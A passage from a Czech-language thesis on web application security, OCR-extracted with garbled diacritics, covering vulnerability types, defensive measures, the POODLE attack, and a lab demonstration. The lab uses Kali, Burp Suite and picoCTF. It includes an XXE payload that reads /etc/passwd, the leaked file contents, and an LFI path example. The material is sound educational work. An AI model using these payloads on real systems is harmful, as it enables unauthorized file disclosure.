4. Zranitelnosti spravy soubori [26],[27]. Ne&které aplikace umoziuji
uzivatelim nahréavat soubory. Pokud to neni bezpe¢né fizeno, mize utocnik tuto

funkci zneuzit.
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RCE miize byt jednoduse zndzornén nasledovné:

Client1

Since there are no validations On executing the
on the user provided values, script, the server

SR hence the vulnerable is exploited or
& s WWW script is passed to the server

Hacker Vulnerable
Script

the data is
compromised
with the hacker.
This depends on
the vulnerable
script.

\

il

Vulnerable
Web Application

o [l

Obrézek 5 Schéma RCE
(Zdroj: [28])
2.4 Clickjacking zranitelnosti

Clickjacking, neboli Ul redress attack, je zranitelnost webové bezpecnosti, pii které utocnik
manipuluje s rozloZzenim webové stranky pomoci skrytych vrstev. Donuti tak uZzivatele
kliknout na néco, co nem¢l v umyslu. Naptiklad zndmy ptipad donutil uzivatele kliknout na
tlacitko ,,retweet” na Twitteru, které¢ vedlo na Skodlivou URL. Tento odkaz se §ifil po siti,

protoze kazdy uZzivatel nevédomky sdilel utok. [29]

Utoénik toho docili tak, Ze pekryje stranku prithlednymi nebo neviditelnymi ramei (iframe),

¢imz pfesméruje uZivatele na jinou stranku nebo akci, ¢asto v jiné doméné nebo aplikaci.

Rozsiteni tohoto ttoku mtize zachytit i stisky klaves. Diky skrytym textovym polim muize
utonik totiz vytvofit iluzi, Ze uzivatel zadava své prihlasovaci udaje do e-mailu, zatimco
vstup je ve skutecnosti smérovan do neviditelného pole. [29]

4

Nézornd ukazka bude zndzornénd v praktické ¢asti.

2.5 File Inclusion (LFI/RFI) zranitelnosti

Lokalni zahrnuti souboru, neboli LFI, je zranitelnost, pomoci které¢ mize Gto¢nik zménit
cestu k souborlim na serveru v URL adrese a ziskat k nim pfistup. Obvykle tento problém
vzniké kvili nedostatecné filtraci vstupnich dat (naptiklad, pokud webova aplikace ocekava,

ze uzivatel zada nazev souboru k nacteni, ale nedokdze ovéfit, zda je tento nazev platny)
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nebo manipulace s URL (pokud aplikace umoziuje nacitani souboru top-secret.php, tito¢nik
muze do URL vlozit top-secret.php?file=/user/passwd, kde aplikace miize nacist soubor s

daty). [30]

Vzdalené zahrnuti souboru, neboli RFI, kde Gto¢nik miize vloZit externi soubor na server.
Uto¢nik odesle pozadavek, ktery obsahuje odkaz na externi soubor se $kodlivym kodem
(naptiklad URL na server, kde je umistén Skodlivy skript), a tento kod se na serveru vykona.

[31]
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3 OCHRANNE TECHNIKY A PREVENCE

Tato kapitola se zaméfi na ochranné techniky a prevence dfive zminénych utokl a
zranitelnosti. Podrobné rozebira ochranné techniky a jejich spravné implementace teoreticky
i prakticky a nasledné, v praktické ¢asti této prace, jsou nékteré ukazané techniky obejiti pro

ukazku nedokonalosti jedné techniky bez kontextu bezpecné aplikace.

3.1 Ochranné techniky proti DDoS a DoS

Diisledkem DDoS ttokd je zpomaleni servert nebo jejich uplné vyfazeni z provozu. Utoky
mohou byt nejriznéjsi, od pouZziti znamych zranitelnosti az po pouziti botnetl s tisici uzly.
Pro ochranu pfed témito hrozbami se pouzivd hodné metod, které maji slouzit jako
mautomaticka filtrace® utokti. Tyto ,filtrace jsou rozmistény na 2. -7. vrstvé ISO/OSI

modelu.

1. Rate limiting, ktery zuzuje pfistupnost pomoci filtru. Casto se jedna o filtrovani IP
adres, kde pro kazdou adresu povolime maximalni poc¢et dotazli za minutu. Toto ¢islo
musi byt vybrano peclivé, jelikoz chceme, aby se uzivatelé dostali ke zdroji bez
potizi, ale zaroven zabranit nezadoucim dotaziim. Je dilezit¢é mit na paméti, Ze
nékteré IP adresy by nemély byt omezovany (naptiklad oddéleni firmy zajist'ujici

ochranu proti utoktim). [1],[3]

Limitovani miZeme vnimat z n€kolika Ghli pohledu: limitovani uzivatelli (napf.

podle IP adres nebo API klict), limitovani podle geografické polohy, nebo serveru.

2. Web Application Firewall, neboli WAF, je protokol 7. vrstvy ISO/OSI a ¢asto je
soucasti bezpecnostniho balicku (tvofi jakousi ,,branu“ mezi webovou aplikaci a
internetem). Jedna se o mechanismus, ktery chrani server pted zranitelnostmi tim, ze
kontroluje uzivatele dfive, nez se dostanou na server. Filtruje nékteré typy malwaru,
a v ptipadé DDoS utoku lze jednoduse a rychle implementovat rate limiting nebo

zablokovat nebezpecné HTTP spojeni. [3],[4]

3. TIPS, neboli Systém prevence priniku, je néstroj pro zabezpeceni sit¢ (hardware nebo
software), ktery nepietrzité monitoruje sit’ a v pripad¢ zjisténi Skodlivé aktivity hlasi
nebo blokuje spojeni. [1]

4. Caching. Mezipamét uklada kopie obsahu, o ktery si uzivatel pozadal, a tim ptivodni

servery obsluhuji méné pozadavkl. Ukladani do mezipaméti tak muze snizit

pietizeni Skodlivymi pozadavky DDoS. [1],[4]
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5. SynCookies. Zajimavym zpisobem prevence SYN flood utokt, popsanych vyse, je
pouziti SYN cookies. Ty neukladaji na serveru netplna spojeni, ale kdduji informace
do sekvencniho cisla v odpovédi SYN/ACK. Server nasledné ovéii, zda uzivatel
posila spravny ACK, a teprve poté vytvoii spojeni, ¢imz zabrani faleSnym

pozadavkim. [5]

Kompletni ochrana proti atokiim typu DDoS a DoS tedy miize vypadat, jak je zndzornéno

na obrazku nize.

server

firewall ﬂ
| |
§ . low and slow
i @ sQLinjection
i | Lg: HTTP flood
i @ network scan i @ ssLflood
P ! @ XSS,CSRF
! @ synflood @ Bruteforce
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Obrazek 6 Ochrana proti DoS

(Zdroj: viastni)
3.2 Ochranné techniky proti XSS

Pro prevenci pied XSS se pouzivaji obranné techniky, jako jsou:
1. SOP, neboli Same-Origin Policy, je politika, kterd omezuje interakce mezi riznymi
webovymi strankami a zajiStuje, ze skripty bézici na jedné strance nemohou
pristupovat k datlim z jiné stranky. Tedy hlida stejny ,,ptivod (origin)* stranky, ktery

se sklada ze tfi ¢asti: protokol, doména a port. [32]
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Pro  stranky, které nemaji stejny origin (. https://neco.com a
https://necojineho.com), plati, Ze si nemohou navzajem cist cookies, local storage

nebo provadét XMLHttpRequesty (bez povoleni).

CSP, neboli Content Security Policy, umoziuje spravcim webu definovat, odkud
muze byt obsah na strance nacitan a jaky obsah mtlize byt spustén. Naptiklad mtze
zabranit spousténi neautorizovanych skriptii: pokud CSP povoli skripty pouze z self,

jakykoli skript vlozeny z jiného zdroje (napf. ito¢nikem) nebude spustén. [33]
Content Security feSeni miiZze vypadat naptiklad nasledovné:

Content-Security-Policy:
default-src 'self';

script-src 'self' https://trusted-script.com;
Validace vstupu, kde je dilezitd validace jak na strané serveru (naptiklad PHP), tak

1 klienta (naptiklad JS).

Na stran¢ klienta sanitace vstupu probiha s pouzitim technik, jako jsou
htmlspecialchars() (zabranuje interpretaci znaku jako kodu), textContent misto
innerhtml (zabrafiuje interpretaci proménnych jako HTML) a omezeni rozsahu

vstupu pomoci definovani patternu, povolenych znaki, typu nebo délky. [12],[18]

Parametrizace SQL dotazu, kde se odd¢luje SQL logika od piedavanych dat pouzitim
zastupnych znakll misto pfimého vkladani. Parametrizované dotazy budou

podrobnéji rozebrany nize, v kapitole ,,ochrana proti SQL injection®.

3.3 Ochranné techniky proti XXE

Ochrana proti XXE utokiim zavisi na spravné konfiguraci a zabezpeceni XML parsert.

Casto se dokonce jako nejlepsi ochrana proti XXE doporuéuje nepouzivat XML a vyménit

N 24

utoky omezit preventivng v piipadé, ze pouziti XML je nutné:

1.

Vypnuti zpracovani externich entit v parseru, jako jsou, naptiklad, DTD (externi
entity). Pokud je tato funkce zapnuta, parser zpracovava externi zdroje definované v

XML. [14]

Hodnota tedy musi byt:

factory.setFeature ("http://xml.org/sax/features/external-general-
entities", false);
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2. Pouziti aktualnich knihoven a frameworku

3.4 Ochranné techniky proti CORS zranitelnostem

S implementaci SOP pro prevenci XXS, zminénou vySe, nastdva potfeba komunikovat

s jinymi zdroji, tedy implementovat CORS. Ten ale obsahuje zranitelnosti zminéné

v kapitole ,,cross-origin resource sharing (CORS) zranitelnosti“ a predvedené v kapitole

,»CORS utoky*.

CORS nema jednu spravnou implementaci. Mlizeme ale uvazovat nékolik pfipadu a best

practice:

1.

Access-Control-Allow-Origin: * pro stranky svolnym pfistupem [22],[23].
V tomto piipadé, pokud pfistup neni omezen, a stranka nevyzaduje Zadnou

autentizaci, musi byt nastaveno:
Access-Control-Allow-Origin: *, a je to spravné feseni.

Implementace této hlavicky vsSak zacind byt nebezpecnd pii pouziti na VPN
(napftiklad pro ptistup ke zdrojim z prace na dalku). Pokud to¢nik na strance, ktera

obsahuje odkaz na soubor z VPN, vytvoii skript, mize nasledné data odchytit.

Access-Control-Allow-Origin: goodSite.com. [22] Tento ptfipad pouzijeme
naptiklad v pfipad¢ stranky, kterd sbird data o tom, jak ji uzivatelé¢ pouZzivaji
(prohliZe¢ uzivatele poSle data). Zde nechceme, aby byl dotaz posilan z jiné stranky
neZ té, ktera data sbira a na které se uZivatel pravé nachazi. Proto nastavime Access-
Control-Allow-Origin na konkrétni URL stranky. To, na rozdil od * nepusti dotazy

z jinych domén.

. Access-Control-Allow-Credentials: true a cookie. Cookies nejsou zahrnuty

v CORS automaticky. [14] Pro jejich podporu z riznych zdroju je potieba nastavit
hlavicku Access-Control-Allow-Credentials na hodnotu true. Toto fteSeni je
nebezpecné (posilani autorizacnich dat mezi zdroji, viz. kapitoly ,,Cross-site request

forgery utoky* a ,,Ochrana proti CSRF*), vS§ak obcas nutné.

Anti paternem je ale pouziti Access-Control-Allow-Credentials: true spolu s Access-

Control-Allow-Origin: *. Jedna se o velmi nebezpecné feSeni.[22]
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3.5 Ochranné techniky proti CSRF

Existuje nékolik zptisobu ochrany proti CSRF dle OWASP [34]. Kazda metoda ale obsahuje

svoje restrikce. Podivame se postupné na moznosti:

1.

CSRF token. Jedna se o nejpopularnéj$i zptusob zabezpeceni — unikétni klic,
pfifazeny jednomu uZzivateli, kterym se pozdéji verifikuje na strance. Timto tokenem
se pak podepisuji provedené akce (GET, POST, PUT) na serveru. Bez virtualniho

podepsani tokenem jsou akce zamitnuty. [35]

Proces probiha v nekolika fazich: inicializace (generovani klice a predani oteviené
casti uzivateli; zbyvajici ¢ast je ulozena jako hash), validace (kdyz uzivatel posila
dotaz, server kontroluje ziskany token tim, Ze porovnava hashe ziskan¢ho a

ulozeného. Pokud jsou tokeny stejné, akci povoli jako validni) [18], [34].

Tento token by mél byt jedinecny pro kazdou relaci, tajny a neptedvidatelny (tedy
bezpecné Sifrovani) [34],[35].

. Restrikce cookies (SameSite), neboli pouZiti specidlnich atributu cookie, aby je

prohliZze¢ mohl odeslat pouze na doménu stejného piivodu (nebo subdoménu). Tato
metoda bude podrobnéji rozebrana nize v kapitole ,,Ochrana proti clickjackingu®,

jedna se ale o jednu z nejdilezitéjsich ochran proti CSRF.

. Netypické hlavi¢ky, neboli omezeni pouzivani domén, ze kterych lze poZadavky

odesilat. [35]

Validace origin, neboli kontrola shody mezi zdrojem (source) a cilem (target)

originu.[34]

3.6 Ochranné techniky proti SQL injection

Ochrana proti SQLi zavisi na n€kolika bodech:

1.

Povolené identifikatory [36]. UvaZzujme e-shop z kapitoly ,,SQL Injection utoky*,
kde uzivatel miize rozttidit zboZi podle kategorii nebo ceny. Zde SQL Injection mize
nastat nejen pfi predani hodnot, ale i pti predani identifikatoru od uzivatele (naptiklad
smér tfidéni, tabulka tfidéni), ktery pii pfedani rovnou do databaze miize zpusobit

SQL Injection.

Resenim je seznam povolenych hodnot, kde budou vyjmenovany viechny povolené

identifikatory.
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2. Dotaz pies placeholdery. Placeholder je proménna v SQL scriptu, kterd se nemeéni

s obsahem dat. Data cestuji na server zvlast, a jen po interpretaci dotazu jsou vlozena

a pouzita, coz zabranuje SQLIi. [36]
Prakticky dotaz probiha v n€kolika fazich: prepare a execute.

Sstmt = Sconn->prepare ("INSERT INTO Users (firstname) VALUES (?)");

$stmt->execute (array ("%$ GET [name]%"));

Kde se béhem prepare() dostava dotaz na server i s proménnou, kterd je nasledné

ey e

3.7 Ochranné techniky proti RCE

Hlavni ochranou proti RCE utokiim je validace vstupu, podrobnéji rozebrand v kapitole

»Ochranné techniky proti XSS* a sanitace paméti pro vyhnuti se problémlim s buffer

overflow (pfeteceni bufferu). [22], [28] Také je zde dulezité pouzivat oveérené protokoly,

jako jsou HTTPS a SFTP, které pfenasena data Sifruji a tim zabezpecuji proti itokiim tohoto

typu.

3.8 Ochranné techniky proti Clickjackingu

Pro prevenci Cklickjackingu se pouzZivaji rizné obranné techniky:

1.

CSP. Implementaci CSP pro prevenci XSS, zminénou vySe, vyuZijeme i pro prevenci
clickjackingu. Konkrétné to vyuZijeme pro zabrafiovani nacitani stranky pomoci
HTTP hlavicek a pouZijeme k tomu frame-ancestors, ktery prohlizeci fekne, zda
muze vykreslovat stranku ve frame tagu HTML. Tim stranka zajisti, aby jeji obsah
nebyl vloZen na jiné stranky. [37],[38]

X-frame, neboli vyuziti HTTP odpovédi. Stejn€ jako CSP, se pouzije pro povoleni

nebo zakaz vykreslovani frame tagu. Mozné atributy jsou DENY, SAMEORIGIN,
ALLOW-FROM, kde posledni povoli vkladani framu jen z urcitého originu. [38]

SameSite cookies. Dal$im bodem je pouziti SameSite cookies, zminéné v kapitole
»Ochrana proti CSRF“. V ptipadé€, Ze cookies maji tento bezpecnostni flag, 1ze

kontrolovat, zda prohliZe¢ posle cookies spolu s poZzadavkem tretich stran.

SameSite cookies m4ji dva mozné atributy — strict a lax. MliZze vypadat, naptiklad,

takto:

Set-Cookie: CookieName=CookieValue; SameSite=Strict;
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V ptipadé pouziti strict atributu, cookies nebudou poslany spolu s pozadavky tretich

poslany spolu s GET pozadavkem. [39]

4. Frame-breaker, neboli pfidani skriptu na stranku, ktera by neméla byt zobrazena v

ramci. [37] Naptiklad se mize jednat o feSeni:

if (top !== self) {
top.location = self.location;
}
V tomto ptipadé skript zkontroluje, zda je stranka zobrazena v ramci (top !== self), a

pokud ano, presméruje na hlavni okno.

3.9 Ochranné techniky proti LFI/RFI

Stejné jako pro vSechny injection utoky, ochrana spoc¢iva ve tiech krocich:
1. Omezeni vstupnich dat pro pozadavky na soubory

2. Validace a filtrace vstupnich dat, podrobné¢ji rozebrana v kapitole ,,Ochranné

techniky proti XSS*

3. Vytvofeni seznamu povolenych souboril (tak zvany whitelist, zminény vyse). [40]

3.10 Analyza hrozeb a rizik webovych aplikaci pomoci STRIDE

Jako prevenci miiZzeme vnimat i analyzu webové stranky pomoci STRIDE metody, kterou

si podrobné rozebereme.

Prvnim krokem kazdé analyzy je pochopeni toho, jak aplikace funguje. Casto se jedna o
nacrt datového toku (data flow diagramu, DFD), ktery ukazuje rtizné priichody aplikaci,
nebo entry pointd (vstupnich bodl, kterymi data vstupuji do systému), coz dovoluje zjistit
moznosti pohybu uto¢nika. U kazdého takového vstupniho bodu musi byt zdokumentovan
jeho popis a ,trust level”, ktery predstavuje jeho ptistupovd opravnéni (naptiklad pro
interakci s aktivitou je potfeba autorizace). [41] Podrobnéjsi ukdzka bude rozebrana v

kapitole ,,Doporuceni bezpecnostnich postupti pro vyvojaie*

Dals$im bodem je identifikace hrozeb, Casto pomoci modelu STRIDE (Spoofing, Tampering,
Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege), jehoz

vyznam rozebereme podrobnéji: [42]
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1. Spoofing: Zde si musime polozit otdzky, jestli vime, kdo posila data, nebo jestli se

uto¢nik mize vydavat za nékoho jiného v nasi aplikaci.
2. Tampering: MiZe Gto¢nik zménit data, kterd se posilaji na server?
3. Repuditation: Mize n¢kdo provést akci a popfit, Ze by ji provedl?

4. Information disclosure: Mize nékdo mit pfistup k informacim a datim, ke kterym

by se nemél dostat?
5. Denial of service: Jak je systém zabezpecen vii¢i DoS utokiim?
6. Elevation of privilege: Mize uzivatel ziskat prava, ke kterym by nemél mit ptistup?

Cilem STRIDE analyzy je identifikovat body aplikace, na které¢ se UtoCnik zaméfi,
predikovat jejich dopady na systém a navrhnout mitigaci. Vyhodou této analyzy hrozeb je
jeji flexibilita, jelikoZ se da aplikovat na kazdy systém, a nabizi moznost prioritizace hrozeb,
které mizeme nasledné zatradit do nésledujicich kategorii, v zavislosti na zvoleném postupu

[43]:

1. Akceptovani hrozby: Dopad na podnikani je ptijatelny, vedeni se rozhodne riziko

pfijmout. [41]
2. Eliminovat hrozbu: Komponenty, umozilujici zranitelnost, se zcela odstrani. [41]

3. Mitigace rizika: Ptidat kontroly nebo opatfeni, které snizuji dopad rizika nebo jeho

pravdépodobnost. [41]
4. Prenos rizika: Prenést riziko na pojistitele nebo zakaznika. [41]

Nésleduje tabulka mitigace hrozeb podle STRIDE analyzy, kde je uveden obecny postup,

ktery se nasledné€ upravuje v zavislosti na systému:

S T R I D E
Hrozba Spoofing  Tampering Repudiation Information Denial of = Elevation of
Disclosure service privilege
Mitigace Authenticity Integrity Non- Confidentiality =~ Availability Authorisation
repudiation

Tabulka 1 Mitigace hrozeb podle STRIDE analyzy

(Zdroj: [42])
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3.11 Zaklady kryptografickych zranitelnosti

Jedna se o zvlastni typ zranitelnosti, kde citliva data jsou ohrozena kvuli nedostate¢nému
zabezpeceni nebo selhani kryptografie. Podle OWASP patii kryptografické zranitelnosti
mezi druhé nejcastéjsi hrozby v TOP10 nejcastéjSich bezpecnostnich problémit. Jednat se
muze naptiklad o hesla, Cisla kreditnich karet, zdravotni zdznamy, osobni udaje nebo

obchodni tajemstvi, které vyzaduji zvlastni ochranu, mimo jiné i v souladu s GDPR. [44]

Klicovou otazkou tedy je, zda jsou tato data pienasena pies HTTP protokol v ¢itelné podobé
a jakym zplisobem jsou chranéna. Tedy jestli jsou implementovany Sifrovaci klice,

bezpec¢nostni hlavicky a certifikaty a jiné mitigace hrozeb, podrobné&ji rozebrané nize.

Jak tekl A. Shamir, jeden z tviirci RSA Sifrovani: ,, Kryptografie je obvykle obchdzena,
nikoli prolomena.  [45], ¢imZ tim naznacil, Ze vétSina toki tohoto typu neprobiha ptimo
prolomenim kryptografickych algoritmt, ale spiSe hleddnim slabin v jejich implementaci.
Na néekteré z téchto slabin se podivame v této kapitole, a konkrétn¢ se zamétime na tzv.
downgrade utoky na TLS/SSL bezpecnostni protokoly, jako jsou BREACH, OpenSSL
Heartbleed, BEAST, POODLE, DROWN a jiné. [46] Pro pochopeni detailu implementace
téchto slozitéjSich utokl, je nejdiive nezbytné pochopit princip jejich fungovani, ktery si

vysvétlime na ptikladu itoku POODLE.

Podle dat aktudlnich k roku 2020, 3.9% webovych aplikaci jsou stéle zranitelné k POODLE
[47], 1 kdyZ se jedna o pomérné starSi utok na downgrade bezpecnostnich certifikétu.
Konkrétné v pripade tohoto itoku se jedna o zranitelnost SSL 3.0 protokolu, diky které mize

utocnik odposlouchévat komunikaci.

Z obecného nahledu na utok se jedna o man in the middle (MITM) tutok, kde uto¢nik
odposlouchavéa komunikaci, kterd je ale Sifrovana diky bezpecnostnim nastavbam HTTP (v
tomto piipadé¢ SSL). Nasledn¢ uto¢nik pfemluvi server pouZzivat star§i verzi protokolu,
v tomto ptipadé, SSL 3.0 protokol (tzv. downgrade attack) a pouzije POODLE tutok pro

desifrovani. [46]

Ponotime-li se podrobnéji v princip fungovani POODLE, zjistime, Ze SSL/TLS protokol
pouziva riizné Sifrovaci sady (cipher suites) k zabezpeceni komunikace. Konkrétné tento
utok ovliviiuje sady, které vyuzivaji symetrické Sifrovani s blokovymi Siframi (napt. AES,
DES) a slabinu v MAC-then-Encrypt metodé (pouzivana v zranitelné SSL 3.0), kde se
nejprve vypocita MAC (Message Authentication Code) a nasledné se Sifruje cely blok.

Nedostatecné ale kontroluje padding (blokové Sifry vyzaduji, aby data méla velikost nasobku
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délky bloku, tedy napt. 8 nebo 16 bajtt), ktery se prida k nedostatecné dlouhé zpraveé a vyplni
ji nepotfebnymi bajty. SSL 3.0 nekontroluje jednotlivé padding bajty, a tedy pokud bude
zménen, Sifrovand zprava projde kontrolou a utocnik dokaze odhalit obsah Sifrovanych

blokd.
Konkrétné tprava paddingu v POODLE probiha nésledovne¢:

1. Utoénik spusti $kodlivy skript a donuti prohlize¢ odeslat mnoho pozadavki na server

obsahujicich session cookie.
2. Utoénik upravi URL tak, aby posledni blok obsahoval pouze padding a pfepise ho
jiz zndmym Sifrovanym blokem.
3. Opakovanym posilanim modifikovanych pozadavki odhaluje jednotlivé bajty
session a po max. 4096 pozadavcich je ziskana cela cookie.
[46][47]

od POODLE ale vyuziva zranitelnosti TLS 1.0 protokolu. Dle dat aktualnich k roku 2020
kolem 30% webovych aplikaci jsou stale zranitelné k BEAST utokiim. [50]
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II.

PRAKTICKA CAST
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4 PRAKTICKE UKAZKY BEZPECNOSTNICH UTOKU

V ramci této kapitoly se zaméiime na praktickou ukazku utoku na webové stranky, kde si
priblizime a podrobn¢ vysvétlime postup jejich provedeni. Praktické ukazky jsou provedeny
v prostiedi Kali Linux, ktery byl zvolen jako nejbéznéjsi néstroj pro penetracni testovani
v praxi. Jedna se o open-source linuxovou distribuci, kterd diky vestavénym néstrojim
umoziuje ukoly, jako jsou pocitacova forenzika, reverzni inzenyrstvi a detekce zranitelnosti

[51].

Zaroven pro izolaci a kontrolu prostiedi je pouzit Virtual Box, ktery zajistuje, ze pocitac
s Kali Linux je zcela oddélen od hostitele. hostitelského systému. Umoziuje vsak interakci
s jinymi virtudlnimi stroji a zafizenimi v siti [52].

V praktickych tutocich jsou pouzity také vestavéné ndstroje Kali Linuxu pro penetracni
testovani, jako napiiklad hping3, ktery slouzi k generovani sitovych paketi a analyze
sitového provozu. Pouziva se k testovani firewallli, generovani DoS utokl nebo analyze

odpovédi TCP/IP protokolt [53],[54].

DalSim pouzitym néstrojem je python3, ktery se v etickém hackingu vyuziva pro analyzu
bezpe¢nostnich zranitelnosti, a v pfipadé této kapitoly pfedevSim pro zprovoznéni

testovacich stranek v bezpecném prostredi localhostu [53],[54].

Dtlezitym nastrojem je 1 BurpSuite, kde se jedna o nastroj pro penetracni testovani
webovych aplikact, ktery podporuje proces od zacatku do konce (od analyzy aplikace aZ po
nalezeni a zneuZiti bezpecnostnich zranitelnosti) [53]. V této kapitole se jedna o klicovy

nastroj.

4.1 Priprava prostredi

Nez se podivame podrobnéji na utoky zminéné v teoretické Casti prace a prakticky si je
pfedvedeme, musime nejprve nastavit pracovni prostiedi. Prvnim krokem je zprovoznéni
Kali Linuxu ve VirtualBoxu, kde po stazeni x64 bitové image (verze z roku 2024) ptejdeme
k nastaveni virtudlniho stroje. Zde nastavime operacni pamét na 2048 MB (2 GB), coz je
dostacujici pro ucely nasledujiciho testovani. V ptipadé potieby lze velikost paméti RAM

kdykoli zvysit. Kompletni nastaveni je vidét na nasledujicim obrazku.
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. kali-linux-2024.4-virtualbox-amd64 - Settings - O x

Basic M Search settings &
Obeene

Zaklad Pokrocilé  Popis  Disk Encryption

B Ssystém
Nazev: kali-linux-2024.4-virtualbox-amd64

M oisplay -

: Typ:  Linux - ﬂ
|# Uloziste Subtype: Debian -
(_/ el Verze: Debian (64-bit) -

e sit
)¢ & Sériové porty Systém

Y use Zakladni deska Procesor  Akcelerace

_— Operaéni pamét: L 2048 MB -

Sdilené slozky 4MB 8192 MB
T | Utivatelské rozhrani Pofadi bootovani: k& Pevny disk

[A Ontické

Zrusit Napovéda

Obrazek 7 Nastaveni Kali Linux VM
(Zdroj: viastni)

Definujeme také velikost virtudlniho pevného disku. V nasem piipad€ volime 80 GB (z toho
je aktudlné vyuzito 17 GB) a pfipadné¢ upravime dal§i parametry (vtomto piipadé

ponechavame vychozi nastaveni).

Dal$im krokem je zprovoznéni OWASP Juice Shopu — zdmérné zranitelné open source
webové aplikace urcené k tréninku, demonstraci a osvojeni osvédcenych postupli v oblasti
kybernetické bezpecnosti. Aplikaci je nutné spustit lokalné kvili bezpecnosti testovani, a
vtomto piipadé volime variantu instalace z ptedpfipravené distribuce. Staci tedy

nainstalovat Node.js a nasledné stdhnout pozadovanou verzi Juice Shopu: [55]

Juice-shop-17.2.0 node22 linux x64.tgz
Ptedkonfigurovany bali¢ek po rozbaleni spustime pomoci pfikazu npm start (spravce

balickii Node.js) na localhostu, portu 3000. [55]
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— )-[~/Downloads/juice-shop_17.1.1]
— pm start

> juice-shop@l7.1.1 start
> node build/app

info: Detected Node.js

Entity models 19 of 19
4L] DeprecationWarn The “punycode ™ module is deprecated. Please use a use

-deprecation ...  to sh here the warning was created)
e server.js is present
e styles.css is

ile vendor.js i

W . alchemy com/ is reachable
ng data botDefaultTrainingData.json validated

Obrazek 8 Nastaveni OWASP Juice Shop
(Zdroj: viastni)

BurpSuite je v Kali Linuxu pfedinstalovany, a miZzeme tedy pokrac¢ovat ukazkou utokd.

4.2 XXE utok

Jak je zminéno v kapitole ,,XML External Entity utoky*, ucelem XXE ttoku je ziskani
souboru ze serveru. Pro ucely tohoto ttoku budeme potiebovat zranitelnou webovou aplikaci
— konkrétné se jedna o http://saturn.picoctf.net:63695, coz je zdmérn¢ zranitelna stranka
slouzici k bezpecnostnimu testovani a CTF (Capture The Flag) soutéZim od picoCTF (open
source projektu)[56]. Také vyuZijeme nastroj pro prizkum komunikace v siti a penetra¢ni

testovani webovych stranek — Burp Suite — a dalsi zakladni néstroje Kali Linuxu.

Uvazujme tedy tuto zranitelnou stranku, kde si pomoci jednoduchého proklikavani aplikace

a hledani zranitelnych bodi pomoci ,,Developer Tools* v prohlize¢i vSimneme podezielého

radku:

Carnegie 3  CyLb-AmC3

I.Tlll\‘el"»lt‘*
Debugger . Network {} St

Obrazek 9 Ukazka XXE utoku

(Zdroj: vlastni)
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Jak je vidét z obrazku, pii kliknuti na ,,Zobrazit vice* u elementu aplikace posila dotaz s
parametrem 2 (v tomto pfipad¢ se jednd o ID elementu, na ktery klikneme) a vyuziva k tomu
XML verzi 1. Tuto situaci mizeme zkusit vyuzit k XXE utoku, jelikoz vime z pifedchozich
kapitol, ze XML entity jsou Casto nezabezpeCené. Zkusime tedy stejny request rozebrat

podrobnéji pomoci Burp Suite a podivame se na odpovéd’ ze serveru:

Request Respense
Pretty Raw Hex w no = Pretty Raw Hest Render
1 POST Jdata HTTR/1.1 1 HTTR/1.1 200 OK
2 Host: saturn. picoctf.net: 53635 2 Server: Werkzeug/2.3.6 Python/3.8.18
2 Content-Length: &1 2 Date: Thu, ©5 Feb 2025 10:05:37 GMT
4 MAccept-Language: en-US, en; cFl. 9 4 Content-Type: text/html; charset=utf-8
5 User-Agent: Mozillas5. 0 (Windows NT 10.08; Wing4; x64) 5 Content-Length: 73
Applefebkit /537. 36 (KHTML, like Gecko) Chrome/138.0.6723.70 & Connection: close

Safaris527. 36

@ o~

G Content-Type: application/xml =st rong>

7 Accept: */% Special Info::::

2 Origin: http: //saturn. picoctf. net: 63695 </strong>

3 Referer: http: /¢/saturn. plcoctf. net: 63635/ Created By security and privacy experts

10 Accept-Encoding: gzip, deflate, br

12 <?xml wersior="1l.0" encoding="UTF-E"7>
<data=
=T0=
2
</ID=
</data=

Obrazek 10 Ukazka XXE utoku
(Zdroj: vlastni)
Zjistime, Ze aplikace opravdu vyuziva XML, a v tomto piipadé vidime i dileZitou informaci

o vyuzitém typu — application/xml. Nyni, zndme-li zranitelny bod aplikace, zbyva posledni

krok, a to vytvofeni samotné¢ho utoku. Vyménime ¢ast XML requestu za nasledujici kod:

<?xml version="1.0"” encoding="UTF-8"?>

<!DOCTYPE foo [<!ENTITY xxe SYSTEM file:///etc/passwd>]>

<data><id>
&xxe;

</id></data>
V tomto kodu definujeme XML entitu xxe s obsahem souboru /etc/passwd, ktera se nasledné
pouzije jako proménnd misto pivodniho ID elementu. Spustime kéd a vSimneme si, ze se

obsah souboru opravdu vypsal v odpovédi ze serveru.

'm


/etc/passwd
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Request Response
Pretty Raw Hex w a n Pretty Raw Hex Render a n
TTros jaata FTTR/LL ; TOTHTEL Loy L use
2 Host: saturn. picectf.net:63635 2 Invalid ID: root:x: 0:8:root: /root: /binsbash
2 Content-Length: 128 S daemon: x:1:1: daemon: fusr/sbin: fusr/shin/nologin
4 Accept-Language: en-US en; 0.9 10 tbin: fbin: fusr/sbin/nologin

5 User-Agent: Mozilla/S.0 (Windows NT 10.0; Wing4; xG4) 11 . sys: fdev: fusr/sbin/nologin
AppleWebkit /537, 36 (KHTML, like Gecke) Chrome/130.8.8723. 70 12 £5534: sync: /bin: fbin/sync
Safari/337.36 X X 13 : 60: games: fusr/games: fusr/shin/nologin
5 Content-Type: application/xml 14 man:x:6:12:man: /var/cache/man: fusr/shin/nologin
7| Accept: ®/* . 15 lp:x: 7:7:1p: fvarsspool /lpd: fusrsshin/nologin
8 Origin: http://saturn. plc.octf. net: 63695 16 mail:x:8:8:mail: fvar/mail: fusr/shin/nologin
9 Referer: http://saturn. picoctf. net: 63835/ 17 news:x: 9: 9:news: /var/spocl/news: /usr/shin/nologin
10 Accept-Encoding: gzip, deflate, br 12 uucp: x:10: 18: uucp: fvar/spool fuucp: fusr/shin/nologin
11 Connection: keep-glive 19 proxy:x:13:13: proxy: /bin: fusr/shin/nologin
12 . . 20 www-data: x: 33: 33: wew-data: fvar/www: fusr/sbin/nologin
13 <7xml versiors"1.0" encoding="UTF-8"7> X 21 backup: x: 34: 34: backup: /var/backups: fusr/sbin/nologin
14 <IDOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"=]=> 22 list:x:38:38: Mailing List Manager:/var/list: /usr/sbin/nologin
15 <data> 23 irc:x:39:39: ircd: fvar/runfircd: fusr/shin/nologin
<ID= 24 gnats:x:41:41: Gnats Bug-Reporting System
Gxxe; {admin): /var/lib/anats: fusr/shin/nologin
</ID> 25 nobody: x: 65534: 65534 nobody: /nonexistent: fusr/shin/nologin
</data> 26 _apt:x:100: 65534: : /nonexistent: fusr/shin/nologin

Obrazek 11 Ukazka XXE utoku

(Zdroj: viastni)

4.3 SQLi utok

